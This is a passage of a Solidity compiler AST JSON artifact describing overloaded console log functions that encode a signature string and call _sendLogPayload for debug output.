memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16617,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"8654:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16625,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8654:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16626,"nodeType":"ExpressionStatement","src":"8654:75:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8599:3:14","parameters":{"id":16615,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16610,"mutability":"mutable","name":"p0","nameLocation":"8608:2:14","nodeType":"VariableDeclaration","scope":16628,"src":"8603:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16609,"name":"uint","nodeType":"ElementaryTypeName","src":"8603:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16612,"mutability":"mutable","name":"p1","nameLocation":"8617:2:14","nodeType":"VariableDeclaration","scope":16628,"src":"8612:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16611,"name":"uint","nodeType":"ElementaryTypeName","src":"8612:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16614,"mutability":"mutable","name":"p2","nameLocation":"8626:2:14","nodeType":"VariableDeclaration","scope":16628,"src":"8621:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16613,"name":"bool","nodeType":"ElementaryTypeName","src":"8621:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8602:27:14"},"returnParameters":{"id":16616,"nodeType":"ParameterList","parameters":[],"src":"8644:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16648,"nodeType":"FunctionDefinition","src":"8742:152:14","nodes":[],"body":{"id":16647,"nodeType":"Block","src":"8799:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c6164647265737329","id":16640,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8849:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_be33491b8b53b7f3deae2959d1f4b0a22e6967a778c50f03dc188de84a207616","typeString":"literal_string \"log(uint,uint,address)\""},"value":"log(uint,uint,address)"},{"id":16641,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16630,"src":"8875:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16642,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16632,"src":"8879:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16643,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16634,"src":"8883:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_be33491b8b53b7f3deae2959d1f4b0a22e6967a778c50f03dc188de84a207616","typeString":"literal_string \"log(uint,uint,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":16638,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8825:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16639,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8829:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8825:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16644,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8825:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16637,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"8809:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16645,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8809:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16646,"nodeType":"ExpressionStatement","src":"8809:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8751:3:14","parameters":{"id":16635,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16630,"mutability":"mutable","name":"p0","nameLocation":"8760:2:14","nodeType":"VariableDeclaration","scope":16648,"src":"8755:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16629,"name":"uint","nodeType":"ElementaryTypeName","src":"8755:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16632,"mutability":"mutable","name":"p1","nameLocation":"8769:2:14","nodeType":"VariableDeclaration","scope":16648,"src":"8764:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16631,"name":"uint","nodeType":"ElementaryTypeName","src":"8764:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16634,"mutability":"mutable","name":"p2","nameLocation":"8781:2:14","nodeType":"VariableDeclaration","scope":16648,"src":"8773:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16633,"name":"address","nodeType":"ElementaryTypeName","src":"8773:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8754:30:14"},"returnParameters":{"id":16636,"nodeType":"ParameterList","parameters":[],"src":"8799:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16668,"nodeType":"FunctionDefinition","src":"8900:157:14","nodes":[],"body":{"id":16667,"nodeType":"Block","src":"8963:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c75696e7429","id":16660,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9013:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5b6de83ff0d95cd44df8bb8bfd95aa0a6291cab3b8502d85b1dcfd35a64c81cd","typeString":"literal_string \"log(uint,string,uint)\""},"value":"log(uint,string,uint)"},{"id":16661,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16650,"src":"9038:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16662,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16652,"src":"9042:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16663,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16654,"src":"9046:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5b6de83ff0d95cd44df8bb8bfd95aa0a6291cab3b8502d85b1dcfd35a64c81cd","typeString":"literal_string \"log(uint,string,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16658,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8989:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16659,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8993:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8989:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16664,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8989:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16657,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"8973:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16665,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8973:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16666,"nodeType":"ExpressionStatement","src":"8973:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8909:3:14","parameters":{"id":16655,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16650,"mutability":"mutable","name":"p0","nameLocation":"8918:2:14","nodeType":"VariableDeclaration","scope":16668,"src":"8913:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16649,"name":"uint","nodeType":"ElementaryTypeName","src":"8913:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16652,"mutability":"mutable","name":"p1","nameLocation":"8936:2:14","nodeType":"VariableDeclaration","scope":16668,"src":"8922:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16651,"name":"string","nodeType":"ElementaryTypeName","src":"8922:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16654,"mutability":"mutable","name":"p2","nameLocation":"8945:2:14","nodeType":"VariableDeclaration","scope":16668,"src":"8940:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16653,"name":"uint","nodeType":"ElementaryTypeName","src":"8940:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8912:36:14"},"returnParameters":{"id":16656,"nodeType":"ParameterList","parameters":[],"src":"8963:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16688,"nodeType":"FunctionDefinition","src":"9063:168:14","nodes":[],"body":{"id":16687,"nodeType":"Block","src":"9135:96:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c737472696e6729","id":16680,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9185:25:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_3f57c295245f8891b303347a08039155dde08dde601649242724a0ce876bcc65","typeString":"literal_string \"log(uint,string,string)\""},"value":"log(uint,string,string)"},{"id":16681,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16670,"src":"9212:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16682,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16672,"src":"9216:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16683,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16674,"src":"9220:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3f57c295245f8891b303347a08039155dde08dde601649242724a0ce876bcc65","typeString":"literal_string \"log(uint,string,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":16678,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9161:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16679,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9165:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9161:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9161:62:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16677,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"9145:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16685,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9145:79:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16686,"nodeType":"ExpressionStatement","src":"9145:79:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9072:3:14","parameters":{"id":16675,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16670,"mutability":"mutable","name":"p0","nameLocation":"9081:2:14","nodeType":"VariableDeclaration","scope":16688,"src":"9076:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16669,"name":"uint","nodeType":"ElementaryTypeName","src":"9076:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16672,"mutability":"mutable","name":"p1","nameLocation":"9099:2:14","nodeType":"VariableDeclaration","scope":16688,"src":"9085:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16671,"name":"string","nodeType":"ElementaryTypeName","src":"9085:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16674,"mutability":"mutable","name":"p2","nameLocation":"9117:2:14","nodeType":"VariableDeclaration","scope":16688,"src":"9103:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16673,"name":"string","nodeType":"ElementaryTypeName","src":"9103:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9075:45:14"},"returnParameters":{"id":16676,"nodeType":"ParameterList","parameters":[],"src":"9135:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16708,"nodeType":"FunctionDefinition","src":"9237:157:14","nodes":[],"body":{"id":16707,"nodeType":"Block","src":"9300:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c626f6f6c29","id":16700,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9350:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_46a7d0ce13c2c26d158d9defa8ce488dbeb81d3c852592fb370bd45953199485","typeString":"literal_string \"log(uint,string,bool)\""},"value":"log(uint,string,bool)"},{"id":16701,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16690,"src":"9375:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16702,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16692,"src":"9379:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16703,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16694,"src":"9383:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_46a7d0ce13c2c26d158d9defa8ce488dbeb81d3c852592fb370bd45953199485","typeString":"literal_string \"log(uint,string,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":16698,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9326:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16699,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9330:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9326:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16704,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9326:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16697,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"9310:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9310:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16706,"nodeType":"ExpressionStatement","src":"9310:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9246:3:14","parameters":{"id":16695,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16690,"mutability":"mutable","name":"p0","nameLocation":"9255:2:14","nodeType":"VariableDeclaration","scope":16708,"src":"9250:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16689,"name":"uint","nodeType":"ElementaryTypeName","src":"9250:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16692,"mutability":"mutable","name":"p1","nameLocation":"9273:2:14","nodeType":"VariableDeclaration","scope":16708,"src":"9259:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16691,"name":"string","nodeType":"ElementaryTypeName","src":"9259:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16694,"mutability":"mutable","name":"p2","nameLocation":"9282:2:14","nodeType":"VariableDeclaration","scope":16708,"src":"9277:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16693,"name":"bool","nodeType":"ElementaryTypeName","src":"9277:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"9249:36:14"},"returnParameters":{"id":16696,"nodeType":"ParameterList","parameters":[],"src":"9300:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16728,"nodeType":"FunctionDefinition","src":"9400:163:14","nodes":[],"body":{"id":16727,"nodeType":"Block","src":"9466:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c6164647265737329","id":16720,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9516:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1f90f24a472e5198a9eef41600323c8a476ef0a1db1496125f7d053a74d474ac","typeString":"literal_string \"log(uint,string,address)\""},"value":"log(uint,string,address)"},{"id":16721,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16710,"src":"9544:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16722,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16712,"src":"9548:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16723,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16714,"src":"9552:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1f90f24a472e5198a9eef41600323c8a476ef0a1db1496125f7d053a74d474ac","typeString":"literal_string \"log(uint,string,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":16718,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9492:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16719,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9496:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9492:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16724,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9492:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16717,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"9476:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16725,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9476:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16726,"nodeType":"ExpressionStatement","src":"9476:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9409:3:14","parameters":{"id":16715,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16710,"mutability":"mutable","name":"p0","nameLocation":"9418:2:14","nodeType":"VariableDeclaration","scope":16728,"src":"9413:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16709,"name":"uint","nodeType":"ElementaryTypeName","src":"9413:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16712,"mutability":"mutable","name":"p1","nameLocation":"9436:2:14","nodeType":"VariableDeclaration","scope":16728,"src":"9422:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16711,"name":"string","nodeType":"ElementaryTypeName","src":"9422:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16714,"mutability":"mutable","name":"p2","nameLocation":"9448:2:14","nodeType":"VariableDeclaration","scope":16728,"src":"9440:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16713,"name":"address","nodeType":"ElementaryTypeName","src":"9440:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9412:39:14"},"returnParameters":{"id":16716,"nodeType":"ParameterList","parameters":[],"src":"9466:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16748,"nodeType":"FunctionDefinition","src":"9569:146:14","nodes":[],"body":{"id":16747,"nodeType":"Block","src":"9623:92:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c75696e7429","id":16740,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9673:21:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5a4d9922ab81f1126dafac21c1ce3fb483db2e4898341fe0758315eb5f3054d6","typeString":"literal_string \"log(uint,bool,uint)\""},"value":"log(uint,bool,uint)"},{"id":16741,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16730,"src":"9696:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16742,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16732,"src":"9700:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":16743,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16734,"src":"9704:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5a4d9922ab81f1126dafac21c1ce3fb483db2e4898341fe0758315eb5f3054d6","typeString":"literal_string \"log(uint,bool,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16738,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9649:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16739,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9653:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9649:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16744,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9649:58:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16737,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"9633:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16745,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9633:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16746,"nodeType":"ExpressionStatement","src":"9633:75:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9578:3:14","parameters":{"id":16735,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16730,"mutability":"mutable","name":"p0","nameLocation":"9587:2:14","nodeType":"VariableDeclaration","scope":16748,"src":"9582:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16729,"name":"uint","nodeType":"ElementaryTypeName","src":"9582:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16732,"mutability":"mutable","name":"p1","nameLocation":"9596:2:14","nodeType":"VariableDeclaration","scop